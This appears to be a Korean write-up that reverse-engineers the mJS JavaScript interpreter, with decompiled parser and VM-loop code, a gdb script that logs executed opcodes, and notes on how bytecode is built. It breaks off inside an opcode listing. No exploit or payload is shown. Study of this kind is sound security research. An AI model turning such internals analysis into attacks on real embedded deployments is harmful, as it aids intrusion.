  double iv; // [rsp+28h] [rbp-38h] BYREF
  int next_tok; // [rsp+30h] [rbp-30h]
  int prev_tok; // [rsp+34h] [rbp-2Ch]
  int tok; // [rsp+38h] [rbp-28h]
  mjs_err res; // [rsp+3Ch] [rbp-24h]
  mbuf *bcode_gen; // [rsp+40h] [rbp-20h]
  const tok *ta; // [rsp+48h] [rbp-18h] BYREF
  pstate *pa; // [rsp+50h] [rbp-10h]

  pa = p;
  ta = t;
  bcode_gen = &p->mjs->bcode_gen;
  res = MJS_OK;
  tok = t->tok;
  if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 276) )
    cs_log_printf("[%.*s] %p", pa->tok.len, pa->tok.ptr, &ta);
  *(_DWORD *)&v5 = ta->tok;
  if ( ta->tok == TOK_ASSIGN )
  {
    res = parse_object_literal(pa);
  }
  else
  {
    switch ( *(_DWORD *)&v5 )
    {
      case 8:
        if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 331) )
          cs_log_printf("  PNEXT %d", 331LL);
        pnext(pa);
        res = parse_expr(pa);
        if ( pa->tok.tok != TOK_OPEN_PAREN )
          goto LABEL_39;
        break;
      case 0xA:
        res = parse_array_literal(pa);
        break;
      case 0xC8:
        d = strtod(ta->ptr, 0LL);
        uv = strtoul(ta->ptr + 2, 0LL, 16);
        if ( *ta->ptr == 48 && *((_BYTE *)ta->ptr + 1) == 120 )
        {
          v3 = _mm_sub_pd(
                 (__m128d)_mm_unpacklo_epi32(_mm_loadl_epi64((const __m128i *)&uv), (__m128i)xmmword_24020),
                 (__m128d)xmmword_24030);
          d = _mm_unpackhi_pd(v3, v3).m128d_f64[0] + v3.m128d_f64[0];
        }
        if ( modf(d, &iv) == 0.0 )
        {
          emit_byte(pa, 0xEu);
          emit_int(pa, (unsigned int)(int)d);
        }
        else
        {
          emit_byte(pa, 0xFu);
          emit_str(pa, ta->ptr, ta->len);
        }
        break;
      case 0xC9:
        emit_byte(pa, 0xBu);
        oldlen = bcode_gen->len;
        embed_string(bcode_gen, pa->cur_idx, ta->ptr, ta->len, 2u);
        pa->cur_idx += LODWORD(bcode_gen->len) - oldlen;
        break;
      case 0xCA:
        prev_tok = pa->prev_tok;
        next_tok = ptest(pa);
        emit_byte(pa, 0xBu);
        emit_str(pa, ta->ptr, ta->len);
        v2 = 9;
        if ( prev_tok == 0x14 )
          v2 = 3;
        emit_byte(pa, v2);                      // PUSH STR
        if ( !findtok(&s_assign_ops, next_tok)
          && !findtok(&s_postfix_ops, next_tok)
          && !findtok(&s_postfix_ops, prev_tok) )// ++, --
        {
          emit_byte(pa, 0x16u);
        }
        break;
      case 0xD4:
        emit_byte(pa, 0xDu);
        break;
      case 0xD7:
        res = parse_function(pa);
        break;
      case 0xDC:
        emit_byte(pa, 0x10u);
        break;
      case 0xDF:
        emit_byte(pa, 0x15u);
        break;
      case 0xE1:
        emit_byte(pa, 0xCu);
        break;
      case 0xE9:
        emit_byte(pa, 0x11u);
        break;
      default:
LABEL_39:
        mjs_set_errorf(
          pa->mjs,
          MJS_SYNTAX_ERROR,
          "parse error at line %d: [%.*s]",
          (unsigned int)pa->line_no,
          10LL,
          pa->tok.ptr);
        return 1;
    }
  }
  if ( tok != 0xD7 )
  {
    if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 344) )
      cs_log_printf("  PNEXT %d", 344LL);
    pnext(pa);
  }
  return res;
}

여기서 주목할건 parse_function이다.

static mjs_err_t parse_function(struct pstate *p) {
  size_t prologue, off;
  int arg_no = 0;
  int name_provided = 0;
  mjs_err_t res = MJS_OK;

  EXPECT(p, TOK_KEYWORD_FUNCTION);

  if (p->tok.tok == TOK_IDENT) {
    /* Function name was provided */
    struct tok tmp = p->tok;
    name_provided = 1;
    emit_byte(p, OP_PUSH_STR);
    emit_str(p, tmp.ptr, tmp.len);
    emit_byte(p, OP_PUSH_SCOPE);
    emit_byte(p, OP_CREATE);
    emit_byte(p, OP_PUSH_STR);
    emit_str(p, tmp.ptr, tmp.len);
    emit_byte(p, OP_FIND_SCOPE);
    pnext1(p);
  }

  emit_byte(p, OP_JMP);
  off = p->cur_idx;
  emit_init_offset(p);

  prologue = p->cur_idx;

  EXPECT(p, TOK_OPEN_PAREN);
  emit_byte(p, OP_NEW_SCOPE);
  // Emit names of function arguments
  while (p->tok.tok != TOK_CLOSE_PAREN) {
    if (p->tok.tok != TOK_IDENT) SYNTAX_ERROR(p);
    emit_byte(p, OP_SET_ARG);
    emit_int(p, arg_no);
    arg_no++;
    emit_str(p, p->tok.ptr, p->tok.len);
    if (ptest(p) == TOK_COMMA) pnext1(p);
    pnext1(p);
  }
  EXPECT(p, TOK_CLOSE_PAREN);
  if ((res = parse_block(p, 0)) != MJS_OK) return res;
  emit_byte(p, OP_RETURN);
  prologue += mjs_bcode_insert_offset(p, p->mjs, off,
                                      p->cur_idx - off - MJS_INIT_OFFSET_SIZE);
  emit_byte(p, OP_PUSH_FUNC);
  emit_int(p, p->cur_idx - 1 /* OP_PUSH_FUNC */ - prologue);
  if (name_provided) {
    emit_op(p, TOK_ASSIGN);
  }

  return res;
}

소스코드로 보면 명확하게 보인다.
tok는 ident로 들어가기 때문에, 결국 print 문자열을 그대로 집어넣게 된다.

js가 인터프리터 언어라서 그런지 예상했던대로 그대로 문자열을 넣는다.

  res = parse_statement_list(&p, 0);
  emit_byte(&p, 0x23u);                         // OP_EXIT
  *(_DWORD *)&p.mjs->bcode_gen.buf[start_idx + 8] = p.mjs->bcode_gen.len - start_idx;
  map_len = p.offset_lineno_map.len;
  llen = cs_varint_llen(SLODWORD(p.offset_lineno_map.len));
  mbuf_resize(&p.mjs->bcode_gen, llen + p.mjs->bcode_gen.size);
  cs_varint_encode(map_len, (uint8_t *)&p.mjs->bcode_gen.buf[p.mjs->bcode_gen.len], llen);
  p.mjs->bcode_gen.len += llen;
  mbuf_append(&p.mjs->bcode_gen, p.offset_lineno_map.buf, p.offset_lineno_map.len);
  *(_DWORD *)&p.mjs->bcode_gen.buf[start_idx] = p.mjs->bcode_gen.len - start_idx;
  mbuf_free(&p.offset_lineno_map);
  if ( res )
    mbuf_free(&mjsa->bcode_gen);
  else
    mjs_bcode_commit(mjsa);
  return res;
}

mjs_parse 함수의 뒷부분을 보면 파싱이 끝나고 mjs_bcode_commit을 통해서 mjs->bcode_parts로 바이트 코드를 옮기는 것을 알 수 있다.

mjs_execute

mjs_err_t __cdecl mjs_execute(mjs *mjs, size_t off, mjs_val_t *res)
{
  mjs_val_t v3; // rax
  mjs_val_t v4; // rax
  mjs_val_t v5; // rax
  mjs_val_t v6; // rax
  mjs_val_t v7; // rax
  mjs_val_t v8; // rax
  mjs_val_t v9; // rax
  mjs_val_t v10; // rax
  mjs_val_t v11; // rax
  mjs_val_t v12; // rax
  mjs_val_t v13; // rax
  mjs_val_t v14; // rax
  mjs_val_t v15; // rax
  mjs_val_t v16; // rax
  mjs_val_t v17; // rax
  double v18; // xmm0_8
  mjs_val_t v19; // rax
  __m128d v20; // xmm1
  mjs_val_t v21; // rax
  void (__fastcall *ptr)(mjs *); // rax
  mjs_val_t *v23; // rax
  mjs_val_t v24; // rax
  __m128d v25; // xmm1
  mjs_val_t v26; // rax
  __m128d v27; // xmm1
  mjs_val_t v28; // rax
  __m128d v29; // xmm1
  mjs_val_t v30; // rax
  mjs_val_t *v31; // rax
  mjs_val_t v32; // rax
  mjs_val_t v33; // rax
  mjs_val_t v34; // rax
  mjs_bcode_part *v35; // rax
  mjs_val_t v36; // rax
  mjs_err error; // [rsp+4h] [rbp-2DCh]
  mjs *v39; // [rsp+8h] [rbp-2D8h]
  mjs *v40; // [rsp+10h] [rbp-2D0h]
  mjs *v41; // [rsp+18h] [rbp-2C8h]
  mjs *v42; // [rsp+20h] [rbp-2C0h]
  mjs *v43; // [rsp+28h] [rbp-2B8h]
  mbuf *p_loop_addresses; // [rsp+30h] [rbp-2B0h]
  mbuf *v45; // [rsp+38h] [rbp-2A8h]
  mbuf *v46; // [rsp+68h] [rbp-278h]
  mjs *v47; // [rsp+70h] [rbp-270h]
  mjs *v48; // [rsp+78h] [rbp-268h]
  mjs_val_t v49; // [rsp+80h] [rbp-260h]
  mjs *v50; // [rsp+88h] [rbp-258h]
  mbuf *p_arg_stack; // [rsp+90h] [rbp-250h]
  mjs *v52; // [rsp+98h] [rbp-248h]
  mjs *v53; // [rsp+A0h] [rbp-240h]
  mjs *v54; // [rsp+A8h] [rbp-238h]
  mjs *v55; // [rsp+B0h] [rbp-230h]
  mjs *v56; // [rsp+B8h] [rbp-228h]
  mbuf *m; // [rsp+C0h] [rbp-220h]
  mjs *v58; // [rsp+C8h] [rbp-218h]
  mjs *v59; // [rsp+D0h] [rbp-210h]
  mjs *v60; // [rsp+D8h] [rbp-208h]
  mjs *v61; // [rsp+E0h] [rbp-200h]
  mjs *v62; // [rsp+E8h] [rbp-1F8h]
  mjs *v63; // [rsp+F0h] [rbp-1F0h]
  mjs *v64; // [rsp+F8h] [rbp-1E8h]
  mjs *v65; // [rsp+100h] [rbp-1E0h]
  mjs *v66; // [rsp+108h] [rbp-1D8h]
  mjs *v67; // [rsp+110h] [rbp-1D0h]
  mjs *v68; // [rsp+118h] [rbp-1C8h]
  size_t scopes_len_1; // [rsp+128h] [rbp-1B8h]
  size_t scopes_len_0; // [rsp+130h] [rbp-1B0h]
  int off_0; // [rsp+13Ch] [rbp-1A4h]
  int off_0a; // [rsp+13Ch] [rbp-1A4h]
  int l2; // [rsp+140h] [rbp-1A0h] BYREF
  int l1; // [rsp+144h] [rbp-19Ch] BYREF
  mjs_val_t b; // [rsp+148h] [rbp-198h]
  mjs_val_t a; // [rsp+150h] [rbp-190h]
  int op; // [rsp+15Ch] [rbp-184h]
  size_t retval_pos; // [rsp+160h] [rbp-180h]
  mjs_val_t v; // [rsp+168h] [rbp-178h]
  mjs_val_t key_3; // [rsp+170h] [rbp-170h]
  mjs_val_t obj_2; // [rsp+178h] [rbp-168h]
  int v82; // [rsp+180h] [rbp-160h]
  int n_7; // [rsp+184h] [rbp-15Ch]
  int llen2; // [rsp+188h] [rbp-158h] BYREF
  int llen1; // [rsp+18Ch] [rbp-154h] BYREF
  size_t off_call; // [rsp+190h] [rbp-150h]
  mjs_val_t retval_stack_idx; // [rsp+198h] [rbp-148h]
  mjs_val_t *func; // [rsp+1A0h] [rbp-140h]
  int func_pos; // [rsp+1ACh] [rbp-134h]
  size_t off_ret; // [rsp+1B0h] [rbp-130h]
  mjs_val_t scope; // [rsp+1B8h] [rbp-128h]
  mjs_val_t key_2; // [rsp+1C0h] [rbp-120h]
  mjs_val_t name; // [rsp+1C8h] [rbp-118h]
  mjs_val_t obj_1; // [rsp+1D0h] [rbp-110h]
  mjs_val_t *iterator; // [rsp+1D8h] [rbp-108h]
  int n_6; // [rsp+1E0h] [rbp-100h]
  int llen_6; // [rsp+1E4h] [rbp-FCh] BYREF
  int64_t n_5; // [rsp+1E8h] [rbp-F8h]
  int llen_5; // [rsp+1F4h] [rbp-ECh] BYREF
  int length; // [rsp+1F8h] [rbp-E8h]
  int llen_4; // [rsp+1FCh] [rbp-E4h] BYREF
  mjs_val_t val_0; // [rsp+200h] [rbp-E0h] BYREF
  mjs_val_t key_1; // [rsp+208h] [rbp-D8h]
  mjs_val_t obj_0; // [rsp+210h] [rbp-D0h]
  mjs_val_t arr; // [rsp+220h] [rbp-C0h]
  mjs_val_t val; // [rsp+228h] [rbp-B8h]
  mjs_val_t key_0; // [rsp+230h] [rbp-B0h]
  mjs_val_t obj; // [rsp+238h] [rbp-A8h]
  mjs_val_t key; // [rsp+240h] [rbp-A0h]
  int n_3; // [rsp+24Ch] [rbp-94h]
  int llen_3; // [rsp+250h] [rbp-90h] BYREF
  int n_2; // [rsp+254h] [rbp-8Ch]
  int llen_2; // [rsp+258h] [rbp-88h] BYREF
  int n_1; // [rsp+25Ch] [rbp-84h]
  int llen_1; // [rsp+260h] [rbp-80h] BYREF
  int n_0; // [rsp+264h] [rbp-7Ch]
  int llen_0; // [rsp+268h] [rbp-78h] BYREF
  int n; // [rsp+26Ch] [rbp-74h]
  int llen; // [rsp+270h] [rbp-70h] BYREF
  mjs_header_item_t bcode_offset; // [rsp+274h] [rbp-6Ch]
  mjs_bcode_part bp_0; // [rsp+278h] [rbp-68h]
  const uint8_t *code; // [rsp+298h] [rbp-48h]
  size_t start_off; // [rsp+2A0h] [rbp-40h]
  int loop_addresses_len; // [rsp+2A8h] [rbp-38h]
  int scopes_len; // [rsp+2ACh] [rbp-34h]
  int len; // [rsp+2B0h] [rbp-30h]
  int call_stack_len; // [rsp+2B4h] [rbp-2Ch]
  int stack_len; // [rsp+2B8h] [rbp-28h]
  uint8_t opcode; // [rsp+2BEh] [rbp-22h]
  uint8_t prev_opcode; // [rsp+2BFh] [rbp-21h]
  size_t i; // [rsp+2C0h] [rbp-20h]
  mjs_val_t *resa; // [rsp+2C8h] [rbp-18h]
  size_t offa; // [rsp+2D0h] [rbp-10h]
  mjs *mjsa; // [rsp+2D8h] [rbp-8h]

  mjsa = mjs;
  offa = off;
  resa = res;
  prev_opcode = 0x27;
  opcode = 0x27;
  stack_len = mjs->stack.len;
  call_stack_len = mjs->call_stack.len;
  len = mjs->arg_stack.len;
  scopes_len = mjs->scopes.len;
  loop_addresses_len = mjs->loop_addresses.len;
  start_off = off;
  bp_0 = *mjs_bcode_part_get_by_offset(mjs, off);
  mjs_set_errorf(mjs, MJS_OK, 0LL);
  free(mjs->stack_trace);
  mjs->stack_trace = 0LL;
  offa -= bp_0.start_idx;
  i = offa;
  while ( 2 )
  {
    if ( i >= bp_0.data.len )
      goto clean;
    mjsa->cur_bcode_offset = i;
    if ( (*((_BYTE *)mjsa + 464) & 2) != 0 && maybe_gc(mjsa) )
      *((_BYTE *)mjsa + 464) &= ~2u;
    code = (const uint8_t *)bp_0.data.p;
    mjs_disasm_single((const uint8_t *)bp_0.data.p, i);
    prev_opcode = opcode;
    opcode = code[i];
    switch ( opcode )
    {
      case 0u:
        goto LABEL_93;
      case 1u:
        mjs_pop(mjsa);
        goto LABEL_93;
      case 2u:
        v47 = mjsa;
        v24 = vtop(&mjsa->stack);
        mjs_push(v47, v24);
        goto LABEL_93;
      case 3u:
        a = mjs_pop(mjsa);
        b = mjs_pop(mjsa);
        mjs_push(mjsa, a);
        mjs_push(mjsa, b);
        goto LABEL_93;
      case 4u:
        n_0 = cs_varint_decode_unsafe(&code[i + 1], &llen_0);
        i += llen_0 + n_0;
        goto LABEL_93;
      case 6u:
        n_2 = cs_varint_decode_unsafe(&code[i + 1], &llen_2);
        i += llen_2;
        v60 = mjsa;
        v11 = vtop(&mjsa->stack);
        if ( mjs_is_truthy(v60, v11) )
          i += n_2;
        goto LABEL_93;
      case 7u:
        n_1 = cs_varint_decode_unsafe(&code[i + 1], &llen_1);
        i += llen_1;
        v61 = mjsa;
        v10 = mjs_pop(mjsa);
        if ( !mjs_is_truthy(v61, v10) )
        {
          mjs_push(mjsa, 0xFFF3000000000000LL);
          i += n_1;
        }
        goto LABEL_93;
      case 8u:
        n_3 = cs_varint_decode_unsafe(&code[i + 1], &llen_3);
        i += llen_3;
        v59 = mjsa;
        v12 = vtop(&mjsa->stack);
        if ( !mjs_is_truthy(v59, v12) )
          i += n_3;
        goto LABEL_93;
      case 9u:
        key = vtop(&mjsa->stack);
        v58 = mjsa;
        v13 = mjs_find_scope(mjsa, key);
        mjs_push(v58, v13);
        goto LABEL_93;
      case 0xAu:
        if ( !mjs_stack_size(&mjsa->scopes) )
          __assert_fail(
            "mjs_stack_size(&mjs->scopes) > 0",
            "src/mjs_exec.c",
            0x2D5u,
            "mjs_err_t mjs_execute(struct mjs *, size_t, mjs_val_t *)");
        v56 = mjsa;
        v15 = vtop(&mjsa->scopes);
        mjs_push(v56, v15);
        goto LABEL_93;
      case 0xBu:
        length = cs_varint_decode_unsafe(&code[i + 1], &llen_4);
        v55 = mjsa;
        v16 = mjs_mk_string(mjsa, (const char *)&code[i + 1 + llen_4], length, 1);
        mjs_push(v55, v16);
        i += length + llen_4;
        goto LABEL_93;
      case 0xCu:
        v65 = mjsa;
        v6 = mjs_mk_boolean(mjsa, 1);
        mjs_push(v65, v6);
        goto LABEL_93;
      case 0xDu:
        v66 = mjsa;
        v5 = mjs_mk_boolean(mjsa, 0);
        mjs_push(v66, v5);
        goto LABEL_93;
      case 0xEu:
        n_5 = cs_varint_decode_unsafe(&code[i + 1], &llen_5);
        v54 = mjsa;
        v17 = mjs_mk_number(mjsa, (double)(int)n_5);
        mjs_push(v54, v17);
        i += llen_5;
        goto LABEL_93;
      case 0xFu:
        n_6 = cs_varint_decode_unsafe(&code[i + 1], &llen_6);
        v53 = mjsa;
        v52 = mjsa;
        v18 = strtod((const char *)&code[i + 1 + llen_6], 0LL);
        v19 = mjs_mk_number(v52, v18);
        mjs_push(v53, v19);
        i += n_6 + llen_6;
        goto LABEL_93;
      case 0x10u:
        v68 = mjsa;
        v3 = mjs_mk_null();
        mjs_push(v68, v3);
        goto LABEL_93;
      case 0x11u:
        v67 = mjsa;
        v4 = mjs_mk_undefined();
        mjs_push(v67, v4);
        goto LABEL_93;
      case 0x12u:
        v64 = mjsa;
        v7 = mjs_mk_object(mjsa);
        mjs_push(v64, v7);
        goto LABEL_93;
      case 0x13u:
        v63 = mjsa;
        v8 = mjs_mk_array(mjsa);
        mjs_push(v63, v8);
        goto LABEL_93;
      case 0x14u:
        n = cs_varint_decode_unsafe(&code[i + 1], &llen);
        v62 = mjsa;
        v9 = mjs_mk_function(mjsa, i + bp_0.start_idx - n);
        mjs_push(v62, v9);
        i += llen;
        goto LABEL_93;
      case 0x15u:
        mjs_push(mjsa, mjsa->vals.this_obj);
        goto LABEL_93;
      case 0x16u:
        obj_0 = mjs_pop(mjsa);                  // SCOPE 
        key_1 = mjs_pop(mjsa);                  // ENCODED STR
        val_0 = 0xFFF3000000000000LL;
        if ( !getprop_builtin(mjsa, obj_0, key_1, &val_0) )// NOT PROPERTY BUILTIN
        {
          if ( mjs_is_object(obj_0) )
            val_0 = mjs_get_v_proto(mjsa, obj_0, key_1);// OBJECT -> GET PROTO
          else
            mjs_prepend_errorf(mjsa, MJS_TYPE_ERROR, "type error");
        }
        mjs_push(mjsa, val_0);
        if ( prev_opcode == 9 )
          mjsa->vals.last_getprop_obj = 0xFFF3000000000000LL;
        else
          mjsa->vals.last_getprop_obj = obj_0;
        goto LABEL_93;
      case 0x17u:
        obj = mjs_pop(mjsa);
        key_0 = mjs_pop(mjsa);
        if ( !mjs_get_own_property_v(mjsa, obj, key_0) )
          mjs_set_v(mjsa, obj, key_0, 0xFFF3000000000000LL);
        goto LABEL_93;
      case 0x18u:
        op = code[i + 1];
        exec_expr(mjsa, op);
        ++i;
        goto LABEL_93;
      case 0x19u:
        val = mjs_pop(mjsa);
        arr = mjs_pop(mjsa);
        if ( mjs_array_push(mjsa, arr, val) )
          mjs_set_errorf(mjsa, MJS_TYPE_ERROR, "append to non-array");
        goto LABEL_93;
      case 0x1Au:
        v82 = cs_varint_decode_unsafe(&code[i + 1], &llen1);
        n_7 = cs_varint_decode_unsafe(&code[llen1 + 1 + i], &llen2);
        key_3 = mjs_mk_string(mjsa, (const char *)&code[i + 1 + llen1 + llen2], n_7, 1);
        obj_2 = vtop(&mjsa->scopes);
        v = mjs_arg(mjsa, v82);
        mjs_set_v(mjsa, obj_2, key_3, v);
        i += n_7 + llen2 + llen1;
        goto LABEL_93;
      case 0x1Bu:
        m = &mjsa->scopes;
        v14 = mjs_mk_object(mjsa);
        push_mjs_val(m, v14);
        goto LABEL_93;
      case 0x1Cu:
        if ( mjsa->scopes.len > 1 )
          mjs_pop_val(&mjsa->scopes);
        else
          mjs_set_errorf(mjsa, MJS_INTERNAL_ERROR, "scopes underflow");
        goto LABEL_93;
      case 0x1Du:
        retval_stack_idx = vtop(&mjsa->arg_stack);
        func_pos = mjs_get_int(mjsa, retval_stack_idx) - 1;
        func = vptr(&mjsa->stack, func_pos);    // get pointer
        mjs_pop_val(&mjsa->arg_stack);
        if ( mjs_is_function(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          off_call = mjs_get_func_addr(*func) - 1;
          bp_0 = *mjs_bcode_part_get_by_offset(mjsa, off_call);
          code = (const uint8_t *)bp_0.data.p;
          i = off_call - bp_0.start_idx;
          *func = 0xFFF3000000000000LL;
        }
        else if ( mjs_is_ffi_sig(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          mjs_ffi_call2(mjsa);
          call_stack_restore_frame(mjsa);
        }
        else if ( mjs_is_foreign(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          ptr = (void (__fastcall *)(mjs *))mjs_get_ptr(mjsa, *func);
          ptr(mjsa);
          call_stack_restore_frame(mjsa);
        }
        else
        {
          mjs_set_errorf(mjsa, MJS_TYPE_ERROR, "calling non-callable");
        }
        goto LABEL_93;
      case 0x1Eu:
        off_ret = call_stack_restore_frame(mjsa);
        if ( off_ret == 0x7FFFFFFF )
          goto clean;
        bp_0 = *mjs_bcode_part_get_by_offset(mjsa, off_ret);
        code = (const uint8_t *)bp_0.data.p;
        i = off_ret - bp_0.start_idx;
        if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_exec.c", 781) )
          cs_log_printf("RETURNING TO %d", (unsigned int)(off_ret + 1));
LABEL_93:
        if ( mjsa->error == MJS_OK )
        {
          ++i;
          continue;
        }
        mjs_gen_stack_trace(mjsa, i + bp_0.start_idx - 1);
        mjsa->stack.len = stack_len;
        mjsa->call_stack.len = call_stack_len;
        mjsa->arg_stack.len = len;
        mjsa->scopes.len = scopes_len;
        mjsa->loop_addresses.len = loop_addresses_len;
        mjs_push(mjsa, 0xFFF3000000000000LL);
clean:
        error = mjsa->error;
        v35 = mjs_bcode_part_get_by_offset(mjsa, start_off);
        *((_BYTE *)v35 + 24) = error & 0xF | *((_BYTE *)v35 + 24) & 0xF0;
        v36 = mjs_pop(mjsa);
        *resa = v36;
        return mjsa->error;
      case 0x1Fu:
        off_0 = cs_varint_decode_unsafe(&code[i + 1], &l1);
        v43 = mjsa;
        p_loop_addresses = &mjsa->loop_addresses;
        v25 = _mm_sub_pd(
                (__m128d)_mm_unpacklo_epi32((__m128i)mjs_stack_size(&mjsa->scopes), (__m128i)xmmword_24020),
                (__m128d)xmmword_24030);
        v26 = mjs_mk_number(v43, _mm_unpackhi_pd(v25, v25).m128d_f64[0] + v25.m128d_f64[0]);
        push_mjs_val(p_loop_addresses, v26);
        v45 = &mjsa->loop_addresses;
        v27 = _mm_sub_pd(
                (__m128d)_mm_unpacklo_epi32((__m128i)(off_0 + l1 + i + 1), (__m128i)xmmword_24020),
                (__m128d)xmmword_24030);
        v28 = mjs_mk_number(mjsa, _mm_unpackhi_pd(v27, v27).m128d_f64[0] + v27.m128d_f64[0]);
        push_mjs_val(v45, v28);
        off_0a = cs_varint_decode_unsafe(&code[l1 + 1 + i], &l2);
        v46 = &mjsa->loop_addresses;
        v29 = _mm_sub_pd(
                (__m128d)_mm_unpacklo_epi32((__m128i)(off_0a + l2 + l1 + i + 1), (__m128i)xmmword_24020),
                (__m128d)xmmword_24030);
        v30 = mjs_mk_number(mjsa, _mm_unpackhi_pd(v29, v29).m128d_f64[0] + v29.m128d_f64[0]);
        push_mjs_val(v46, v30);
        i += l2 + l1;
        goto LABEL_93;
      case 0x20u:
        if ( mjs_stack_size(&mjsa->loop_addresses) < 3 )
        {
          mjs_set_errorf(mjsa, MJS_SYNTAX_ERROR, "misplaced 'break'");
        }
        else
        {
          mjs_pop_val(&mjsa->loop_addresses);
          v39 = mjsa;
          v33 = mjs_pop_val(&mjsa->loop_addresses);
          i = mjs_get_int(v39, v33) - 1;
          v40 = mjsa;
          v34 = mjs_pop_val(&mjsa->loop_addresses);
          scopes_len_1 = mjs_get_int(v40, v34);
          if ( mjs_stack_size(&mjsa->scopes) < scopes_len_1 )
            __assert_fail(
              "mjs_stack_size(&mjs->scopes) >= scopes_len",
              "src/mjs_exec.c",
              0x3B5u,
              "mjs_err_t mjs_execute(struct mjs *, size_t, mjs_val_t *)");
          mjsa->scopes.len = 8 * scopes_len_1;
          if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_exec.c", 952) )
            cs_log_printf("BREAKING TO %d", (unsigned int)(i + 1));
        }
        goto LABEL_93;
      case 0x21u:
        if ( mjs_stack_size(&mjsa->loop_addresses) < 3 )
        {
          mjs_set_errorf(mjsa, MJS_SYNTAX_ERROR, "misplaced 'continue'");
        }
        else
        {
          v42 = mjsa;
          v31 = vptr(&mjsa->loop_addresses, -3);
          scopes_len_0 = mjs_get_int(v42, *v31);
          if ( mjs_stack_size(&mjsa->scopes) < scopes_len_0 )
            __assert_fail(
              "mjs_stack_size(&mjs->scopes) >= scopes_len",
              "src/mjs_exec.c",
              0x3A1u,
              "mjs_err_t mjs_execute(struct mjs *, size_t, mjs_val_t *)");
          mjsa->scopes.len = 8 * scopes_len_0;
          v41 = mjsa;
          v32 = vtop(&mjsa->loop_addresses);
          i = mjs_get_int(v41, v32) - 1;
        }
        goto LABEL_93;
      case 0x22u:
        if ( mjs_stack_size(&mjsa->call_stack) >= 5 )
        {
          v48 = mjsa;
          v23 = vptr(&mjsa->call_stack, -1);
          retval_pos = mjs_get_int(v48, *v23);
          v49 = mjs_pop(mjsa);
          *vptr(&mjsa->stack, (int)retval_pos - 1) = v49;
        }
        else
        {
          mjs_set_errorf(mjsa, MJS_INTERNAL_ERROR, "cannot return");
        }
        goto LABEL_93;
      case 0x23u:
        i = bp_0.data.len;
        goto LABEL_93;
      case 0x24u:
        bcode_offset = *(_DWORD *)&code[i + 5];
        i += bcode_offset;
        goto LABEL_93;
      case 0x25u:
        if ( prev_opcode != 22 )
          mjsa->vals.last_getprop_obj = 0xFFF3000000000000LL;
        push_mjs_val(&mjsa->arg_stack, mjsa->vals.last_getprop_obj);
        v50 = mjsa;
        p_arg_stack = &mjsa->arg_stack;
        v20 = _mm_sub_pd(
                (__m128d)_mm_unpacklo_epi32((__m128i)mjs_stack_size(&mjsa->stack), (__m128i)xmmword_24020),
                (__m128d)xmmword_24030);
        v21 = mjs_mk_number(v50, _mm_unpackhi_pd(v20, v20).m128d_f64[0] + v20.m128d_f64[0]);
        push_mjs_val(p_arg_stack, v21);
        goto LABEL_93;
      case 0x26u:
        iterator = vptr(&mjsa->stack, -1);
        obj_1 = *vptr(&mjsa->stack, -2);
        if ( mjs_is_object(obj_1) )
        {
          name = *vptr(&mjsa->stack, -3);
          key_2 = mjs_next(mjsa, obj_1, iterator);
          if ( key_2 != 0xFFF3000000000000LL )
          {
            scope = mjs_find_scope(mjsa, name);
            mjs_set_v(mjsa, scope, name, key_2);
          }
        }
        else
        {
          mjs_set_errorf(mjsa, MJS_TYPE_ERROR, "can't iterate over non-object value");
        }
        goto LABEL_93;
      default:
        mjs_dump(mjsa, 1);
        mjs_set_errorf(
          mjsa,
          MJS_INTERNAL_ERROR,
          "Unknown opcode: %d, off %d+%d",
          opcode,
          LODWORD(bp_0.start_idx),
          (unsigned int)i);
        i = bp_0.data.len;
        goto LABEL_93;
    }
  }
}

이 함수에서 VM이 돌아간다.

직접 OPCODE를 분석해보기 위해서 gdbscript를 작성했다.

import gdb 
gdb.execute("start")
res = gdb.execute("vmmap",to_string=True)
res =res[230:]
binbase = int(res[res.find('0x') : res.find('0x')+8*2+2],16)

bp_off = [0x007219]
for i in bp_off:
    gdb.execute("b * "+hex(binbase + i))
gdb.execute("c")
opcode = []
l = 8
for i in range(l):
    rax = int(gdb.parse_and_eval("$rax"))
    opcode.append(rax)
    gdb.execute("c")
    print(i)
print(opcode)

OPCODE를 배열을 뽑아볼 수 있었다.
[36, 11, 9, 22, 37, 11, 29, 35]
분석을 편하게 하기 위해서 파이썬 스크립트를 작성했다.

str_ = '''enum mjs_opcode {
  OP_NOP,               /* ( -- ) */
  OP_DROP,              /* ( a -- ) */
  OP_DUP,               /* ( a -- a a ) */
  OP_SWAP,              /* ( a b -- b a ) */
  OP_JMP,               /* ( -- ) */
  OP_JMP_TRUE,          /* ( -- ) */
  OP_JMP_NEUTRAL_TRUE,  /* ( -- ) */
  OP_JMP_FALSE,         /* ( -- ) */
  OP_JMP_NEUTRAL_FALSE, /* ( -- ) */
  OP_FIND_SCOPE,        /* ( a -- a b ) */
  OP_PUSH_SCOPE,        /* ( -- a ) */
  OP_PUSH_STR,          /* ( -- a ) */
  OP_PUSH_TRUE,         /* ( -- a ) */
  OP_PUSH_FALSE,        /* ( -- a ) */
  OP_PUSH_INT,          /* ( -- a ) */
  OP_PUSH_DBL,          /* ( -- a ) */
  OP_PUSH_NULL,         /* ( -- a ) */
  OP_PUSH_UNDEF,        /* ( -- a ) */
  OP_PUSH_OBJ,          /* ( -- a ) */
  OP_PUSH_ARRAY,        /* ( -- a ) */
  OP_PUSH_FUNC,         /* ( -- a ) */
  OP_PUSH_THIS,         /* ( -- a ) */
  OP_GET,               /* ( key obj  -- obj[key] ) */
  OP_CREATE,            /* ( key obj -- ) */
  OP_EXPR,              /* ( ... -- a ) */
  OP_APPEND,            /* ( a b -- ) */
  OP_SET_ARG,           /* ( a -- a ) */
  OP_NEW_SCOPE,         /* ( -- ) */
  OP_DEL_SCOPE,         /* ( -- ) */
  OP_CALL,              /* ( func param1 param2 ... num_params -- result ) */
  OP_RETURN,            /* ( -- ) */
  OP_LOOP,         /* ( -- ) Push break & continue addresses to loop_labels */
  OP_BREAK,        /* ( -- ) */
